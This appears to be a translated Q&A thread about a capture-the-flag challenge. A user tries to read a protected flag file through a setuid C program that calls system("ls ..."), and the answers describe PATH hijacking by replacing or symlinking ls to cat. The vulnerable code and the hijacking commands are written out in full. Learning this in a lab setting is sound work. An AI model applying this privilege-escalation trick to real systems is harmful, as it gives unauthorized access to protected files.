如何将'ls'命令转换为'cat'命令?

时间:2017-10-21 10:47:51

标签: c linux bash shell

我正在尝试解决此问题,我只允许运行 ls 命令,我的目标是读取标志。有一个易受攻击的C代码,它具有 setuid

    -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
    -rw-r----- 1 lameprogrammer lameprogrammer  154 Sep 15 07:40 flag

我是用户攻击者,我必须阅读此标志文件。给定的C代码是

    #include <stdlib.h>
    #include <stdio.h>

    #define FILENAME "/var/challenges/attacker/challenge1/flag"

    int main(void)
    {
        int vert;
        vert = system("ls " FILENAME);
        if(!vert)
            puts("Flag is at " FILENAME " :P ");
        else
            puts("Sorry! no file is there");
    }

我试图将 ls 转换为 cat ,这样如果运行,那么它将读取标志文件。为此,我将所有bin文件夹复制到我的本地空间,然后用 cat 替换 ls ,然后导出新的PATH。从技术上讲,它应该替换,我的 ls 命令应该像 cat 一样工作,但它不起作用。以下是我的命令:

   cp -r /bin /home/attacker
   cd /home/attacker/bin
   rm ls
   cp cat ls
   export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games

ls 命令无效 cat ,输出为:

   ls: unrecognized option '--color=auto'
   Try 'ls --help' for more information.

当我试图运行./vul_c时,它表示权限被拒绝,然后它正在打印抱歉!没有文件

对此的任何帮助都会很棒。

3 个答案:

答案 0 :(得分:3)

程序是否有效?我看到的问题是,如果你在 shell 中使用ls,它是否有一个能够启用着色的别名,例如

alias ls='ls --color=auto'

现在这是cat无法理解的事情。但它只适用于你的 shell,而不是该脚本运行的ls命令,因为它不会使用别名。也许像unalias ls这样的东西会有助于shell。

现在,system功能无法运行您的ls,因为它没有适当的权利 - 您忘记了chmod +x ls

答案 1 :(得分:3)

你正朝着正确的方向前进,但你只是为这件小事付出太多努力。不是创建程序,而是为什么不创建符号链接,然后将其指向cat

尝试此步骤:

   ln -s /bin/cat ls

最后,导出这个,我希望你将完成你的解决方案。在这方面,你甚至不必担心许可。如果有效,请告诉我。

答案 2 :(得分:0)

尝试以下命令:

unalias ls